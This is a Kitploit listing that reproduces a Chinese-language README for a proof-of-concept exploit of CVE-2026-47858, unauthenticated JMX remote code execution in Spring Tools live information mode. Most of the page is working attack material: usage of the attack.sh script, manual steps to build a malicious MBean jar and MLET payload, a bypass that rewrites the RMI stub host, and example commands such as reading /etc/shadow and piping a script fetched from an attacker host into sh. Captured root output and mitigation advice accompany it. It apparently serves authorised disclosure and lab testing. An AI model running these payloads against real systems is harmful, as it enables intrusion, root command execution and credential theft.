Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47858 — Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications. | Kitploit
Outils/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.

Voir le dépôt
7il y a 22 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2026-47858 — Spring Tools live information 模式未授权 JMX 远程代码执行(PoC)

English README | 漏洞公告: Spring Security Advisory | CVE Record

漏洞:Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 以 live information 模式(默认开启)启动 Spring Boot 应用时,会向应用注入无认证、无 TLS、绑定全部网卡的 JMX 远程参数。相邻网络的攻击者可以无凭据连接该 JMX MBeanServer,并通过 MLet 远程类加载实现直接 RCE(root 权限)。

  • CWE-306 Missing Authentication for Critical Function
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • 修复版本:Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0(5 之前的所有版本同样受影响且不受支持)

目录

  1. 根因(源码证据)
  2. 快速复现(一键脚本)
  3. 漏洞利用用法(灵活命令)
  • 攻击原理:直接 RCE,非反连型
  • 测试矩阵与证据
  • 修复与缓解
  • 仓库结构
  • 免责声明

  • 1. 根因(源码证据)

    以受影响 tag 5.2.0.RELEASE(== v2.2.0)对比修复 tag 5.3.0.RELEASE(== v2.3.0):

    漏洞版 eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

    root@kitploit:~
    "-Dcom.sun.management.jmxremote",                  // 启用 JMX
    "-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
    "-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
    "-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
    "-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
    "-Dspring.jmx.enabled=true",
    "-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露
    
    • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true:默认开启,每次从 IDE 启动 Boot 应用都会注入上述参数。
    • VSCode 扩展 2.2.0(vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts)注入相同的 -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false。

    修复版 5.3.0:

    • 固定端口时增加 -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true(JMX 仅绑定回环)。
    • 默认(端口 0)时完全不再注入 com.sun.management.jmxremote* 参数,改为通过 Attach API 按进程 PID 本地附加(VSCode 侧同理,debug-config-provider.ts 中彻底移除远程 JMX 参数)。

    注意:-Dcom.sun.management.jmxremote.port 单独出现即会启用 JMX agent(无需主开关 com.sun.management.jmxremote),VSCode 变体同样有效。


    2. 快速使用(两个独立脚本)

    脚本完全分离:setup-lab.sh 只负责搭建环境,attack.sh 只负责攻击利用。依赖:docker、JDK 17+(默认 /usr/lib/jvm/java-21-openjdk-amd64)、maven、python3、nsenter(可选)。

    2.1 第一步:搭建环境(setup-lab.sh)

    root@kitploit:~
    ./setup-lab.sh vuln          # 漏洞配置 (5.2.0 参数)   [默认]
    ./setup-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
    ./setup-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
    ./setup-lab.sh cleanup       # 停止并删除容器与网络
    

    自动完成:构建受害 Spring Boot 应用 → 创建隔离 docker 桥接网络(受害容器 172.22.0.x,攻击者位于宿主机,模拟相邻网络)→ 按对应版本 JVM 参数启动应用 → 展示 JMX 监听端口 → 输出受害机 IP / JMX 端口 / 网关。受害容器保持运行,可直接进入下一步攻击。

    2.2 第二步:攻击利用(attack.sh)

    root@kitploit:~
    ./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
    # 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
    PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
    

    利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。

    对照实验:先 ./setup-lab.sh vuln 攻击成功;再 ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned 攻击应失败(JMX 仅回环)。


    3. 漏洞利用用法(灵活命令)

    3.1 一键利用 attack.sh(推荐)

    命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):

    root@kitploit:~
    ./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
    
    # 示例
    ./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
    ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
    ./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # 管道/反弹等
    ./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标
    
    # 环境变量
    PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP(默认自动探测)
    JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK
    

    过程:自动编译 evil.jar → 将命令 XML 转义后生成 mlet.txt → 起 HTTP 服务提供 evil.jar + mlet.txt → 编译并运行 JmxExploit。载荷只负责执行命令并回显输出,不在目标机写任何文件。

    3.2 手动分步

    root@kitploit:~
    # 1) 编译恶意载荷
    cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
    
    # 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
    cat > mlet.txt <<EOF
    <MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
    <ARG TYPE="java.lang.String" VALUE="<命令>">
    </MLET>
    EOF
    
    # 3) 提供载荷
    python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下
    
    # 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
    cd attacker && javac JmxExploit.java NaiveJmxClient.java
    java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
         --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
         -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
    
    # 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)
    

    3.3 载荷与回显

    • Pwn 实现 DynamicMBean,命令在构造函数中经 /bin/sh -c 同步执行(优先级:MLET <ARG> 参数 > 受害进程环境变量 CVE_PAYLOAD_CMD > 默认命令 id; hostname; uname -a)。
    • 有回显、零落盘:命令的 stdout/stderr 被 Pwn 捕获到内存,利用程序在加载后经 JMX 调用 getOutput() / getExitCode() 把输出和退出码拉回攻击端显示;目标机上不会写入任何文件(命令自身副作用除外)。若想同时保留输出到目标机,命令里自行重定向("id > /tmp/out.txt" 或 "id 2>&1 | tee /app.log")。

    为什么用 <ARG>?JDK MLetParser 只识别 <ARG>(<PARAM> 会被静默忽略),且 TYPE/VALUE 均为必填;另外 MLet 解析器不处理 HTML 注释,mlet.txt 中不要出现任何多余的 <...> 文本。


    4. 攻击原理:直接 RCE,非反连型

    root@kitploit:~
    攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090)       ← 攻击者主动连受害者的服务
    攻击者 ◀──TCP── 受害者 RMI Server(随机端口)          ← 正常 JMX 协议通信
    攻击者 ──调用──▶ 受害 JVM: newClient(null)           ← 无凭据登录 MBeanServer
    攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...)     ← 受害 JVM 同步实例化恶意类
    受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar         ← 唯一的"回调": 下载载荷 jar
    受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>")    ← 命令在受害进程内直接执行
    
    • 直接执行:命令在受害 JVM 内同步执行,getMBeansFromURL 返回时命令已完成(输出已落到受害应用的日志/控制台)。
    • 非反连型:无需 JNDI/LDAP/RMI 反连。经典反连(Log4Shell/JRMPListener 型)是受害进程主动回连攻击者的 LDAP/RMI 服务;本攻击相反——攻击者全程主动连接受害者的 JMX 服务并驱动其执行。
    • 唯一的受害→攻击者流量是普通的 HTTP GET(下载载荷 jar,相当于把恶意 class 投递到目标机),不构成反连 shell,也不要求连接保持。
    • 绕过说明:漏洞参数中的 -Djava.rmi.server.hostname=localhost 只让 RMI stub 通告 "localhost"(默认客户端会去连自己的回环而失败,可用 NaiveJmxClient 复现)。JmxExploit 通过反射改写 stub 的 TCPEndpoint 主机为真实 IP 即可绕过(Metasploit java_jmx_server 等现成工具同样可绕过)。

    5. 测试矩阵与证据

    配置JMX 监听远程未授权连接RCE
    5.2.0 漏洞版(Eclipse 参数)*:19090 等(0.0.0.0)✅(stub 主机重写绕过 localhost)✅ root
    5.2.0 漏洞版(VSCode 2.2.0 参数)*:19090(0.0.0.0)✅✅
    5.3.0 修复版(固定端口)仅 127.0.0.1❌ 连接被拒❌
    5.3.0 修复版(默认 auto)无 JMX 端口❌❌

    实测证据(攻击端直接回显,目标机零文件):

    root@kitploit:~
    [+] --- command output (echoed from the target) ---
    echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar   # ← 命令经 <ARG> 传入后同步执行
    SECOND_FLEXIBLE_RUN
    root
    /
    -rw-r--r-- 1 root root 21924167 ... /app.jar
    [+] --- exit code: 0 ---
    

    6. 修复与缓解

    • 升级:Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0(OSS)。
    • 无法升级时(官方 workaround):启动 Spring Boot 应用时关闭 live information(Boot 启动配置中的 "Enable live information" 选项)。
    • 应急缓解:确保开发机防火墙不向局域网暴露 IDE 启动的应用;或为应用显式添加 -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true 覆盖。

    7. 仓库结构

    root@kitploit:~
    CVE-2026-47858/
    ├── README.md                 # 本文档(中文)
    ├── README.en.md              # 英文文档
    ├── setup-lab.sh              # 环境搭建脚本(vuln / fixed-pinned / fixed-auto / cleanup)
    ├── attack.sh                 # 攻击利用脚本(命令可配置,改命令无需重编译)
    ├── attacker/
    │   ├── JmxExploit.java       # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
    │   └── NaiveJmxClient.java   # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
    ├── exploit-server/
    │   ├── evil/Pwn.java         # 恶意 DynamicMBean(构造函数执行命令)
    │   ├── mlet.txt.template     # MLET 描述模板(命令占位符 __COMMAND__)
    │   └── evil.jar              # 已构建的恶意载荷(命令无关,可随时重建)
    └── victim-app/app/           # 受害 Spring Boot 4.0.7 应用(web+actuator)
    

    8. 免责声明

    本仓库仅用于授权的安全研究、漏洞验证与防御测试。未经授权对任何系统实施利用属违法行为,使用者自行承担全部责任。

    Télécharger l’outil